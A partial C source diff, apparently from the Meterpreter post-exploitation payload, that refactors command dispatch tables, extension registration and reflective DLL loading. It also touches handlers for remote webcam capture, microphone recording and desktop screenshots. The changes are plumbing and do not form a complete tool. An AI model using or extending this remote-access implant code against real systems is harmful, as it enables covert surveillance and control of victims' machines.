{ request_webcam_stop, { 0 }, 0 },
{ EMPTY_DISPATCH_HANDLER },
},
COMMAND_REQ( "webcam_list", request_webcam_list ),
COMMAND_REQ( "webcam_start", request_webcam_start ),
COMMAND_REQ( "webcam_get_frame", request_webcam_get_frame ),
COMMAND_REQ( "webcam_stop", request_webcam_stop ),
// Audio
{ "webcam_audio_record",
{ request_ui_record_mic, { 0 }, 0 },
{ EMPTY_DISPATCH_HANDLER },
},
COMMAND_REQ( "webcam_audio_record", request_ui_record_mic ),
#endif
// Terminator
{ NULL,
{ EMPTY_DISPATCH_HANDLER },
{ EMPTY_DISPATCH_HANDLER },
},
COMMAND_TERMINATOR
};
/*
@ -481,15 +183,7 @@ DWORD InitServerExtension(Remote *remote)
#ifdef _WIN32
hMetSrv = remote->hMetSrv;
#endif
for (index = 0;
customCommands[index].method;
index++)
{
dprintf("Registering command index %d", index);
dprintf(" Command: %s", customCommands[index].method);
dprintf(" Register: 0x%.8x", command_register);
command_register(&customCommands[index]);
}
command_register_all( customCommands );
return ERROR_SUCCESS;
}
@ -503,12 +197,7 @@ DWORD __declspec(dllexport) DeinitServerExtension(Remote *remote)
DWORD DeinitServerExtension(Remote *remote)
#endif
{
DWORD index;
for (index = 0;
customCommands[index].method;
index++)
command_deregister(&customCommands[index]);
command_deregister_all( customCommands );
return ERROR_SUCCESS;
}

View File

@ -386,7 +386,7 @@ DWORD request_ui_desktop_screenshot( Remote * remote, Packet * request )
dprintf( "[UI] desktop_screenshot. dwCurrentSessionId=%d, dwActiveSessionId=%d, cCommandLine=%s\n", dwCurrentSessionId, dwActiveSessionId, cCommandLine );
// start a thread to create a named pipe server and wait for a client to connect an send back the JPEG screenshot.
pPipeThread = thread_create( desktop_screenshot_thread, &cNamedPipe, response );
pPipeThread = thread_create( desktop_screenshot_thread, &cNamedPipe, response, NULL );
if( !pPipeThread )
BREAK_WITH_ERROR( "[UI] desktop_screenshot. thread_create failed", ERROR_INVALID_HANDLE );

View File

@ -30,12 +30,14 @@
#endif
DWORD server_setup(SOCKET fd);
typedef DWORD (*PSRVINIT)(Remote *remote);
typedef DWORD (*PSRVDEINIT)(Remote *remote);
typedef struct _EXTENSION
{
HMODULE library;
DWORD (*init)(Remote *remote);
DWORD (*deinit)(Remote *remote);
PSRVINIT init;
PSRVDEINIT deinit;
} EXTENSION;
#endif

View File

@ -12,19 +12,10 @@ extern HINSTANCE hAppInstance;
LIST * extension_list = NULL;
// Dispatch table
Command custom_commands[] =
Command customCommands[] =
{
{
"core_loadlib",
{ request_core_loadlib, { 0 }, 0 },
{ EMPTY_DISPATCH_HANDLER },
},
// Terminator
{ NULL,
{ EMPTY_DISPATCH_HANDLER },
{ EMPTY_DISPATCH_HANDLER },
},
COMMAND_REQ( "core_loadlib", request_core_loadlib ),
COMMAND_TERMINATOR
};
/*
@ -36,8 +27,7 @@ VOID register_dispatch_routines()
extension_list = list_create();
for( index=0 ; custom_commands[index].method ; index++ )
command_register( &custom_commands[index] );
command_register_all( customCommands );
}
/*
@ -58,8 +48,7 @@ VOID deregister_dispatch_routines( Remote * remote )
free( extension );
}
for( index=0 ; custom_commands[index].method ; index++ )
command_deregister( &custom_commands[index] );
command_deregister_all( customCommands );
list_destroy( extension_list );
}

View File

@ -355,11 +355,10 @@ static DWORD server_dispatch( Remote * remote )
break;
}
cpt = thread_create( command_process_thread, remote, packet );
if( cpt )
if( !command_handle( remote, packet ) )
{
dprintf( "[DISPATCH] created command_process_thread 0x%08X, handle=0x%08X", cpt, cpt->handle );
thread_run( cpt );
dprintf( "[DISPATCH] command_process indicated server stop. Exiting." );
break;
}
}
else if( result < 0 )
@ -502,12 +501,11 @@ static DWORD server_dispatch_http_wininet( Remote * remote )
dprintf("[DISPATCH] Returned result: %d", result);
cpt = thread_create( command_process_thread, remote, packet );
if( cpt )
if( !command_handle( remote, packet ) )
{
dprintf( "[DISPATCH] created command_process_thread 0x%08X, handle=0x%08X", cpt, cpt->handle );
thread_run( cpt );
}
dprintf( "[DISPATCH] command_process indicated server stop. Exiting." );
break;
}
}
// Close WinInet handles

View File

@ -102,13 +102,13 @@ DWORD request_core_loadlib(Remote *remote, Packet *packet)
// if the library was loaded via its reflective loader we must use GetProcAddressR()
if( bLibLoadedReflectivly )
{
extension->init = (LPVOID)GetProcAddressR( extension->library, "InitServerExtension" );
extension->deinit = (LPVOID)GetProcAddressR( extension->library, "DeinitServerExtension" );
extension->init = (PSRVINIT)GetProcAddressR( extension->library, "InitServerExtension" );
extension->deinit = (PSRVDEINIT)GetProcAddressR( extension->library, "DeinitServerExtension" );
}
else
{
extension->init = (LPVOID)GetProcAddress( extension->library, "InitServerExtension" );
extension->deinit = (LPVOID)GetProcAddress( extension->library, "DeinitServerExtension" );
extension->init = (PSRVINIT)GetProcAddress( extension->library, "InitServerExtension" );
extension->deinit = (PSRVDEINIT)GetProcAddress( extension->library, "DeinitServerExtension" );
}
// patch in the metsrv.dll's HMODULE handle, used by the server extensions for delay loading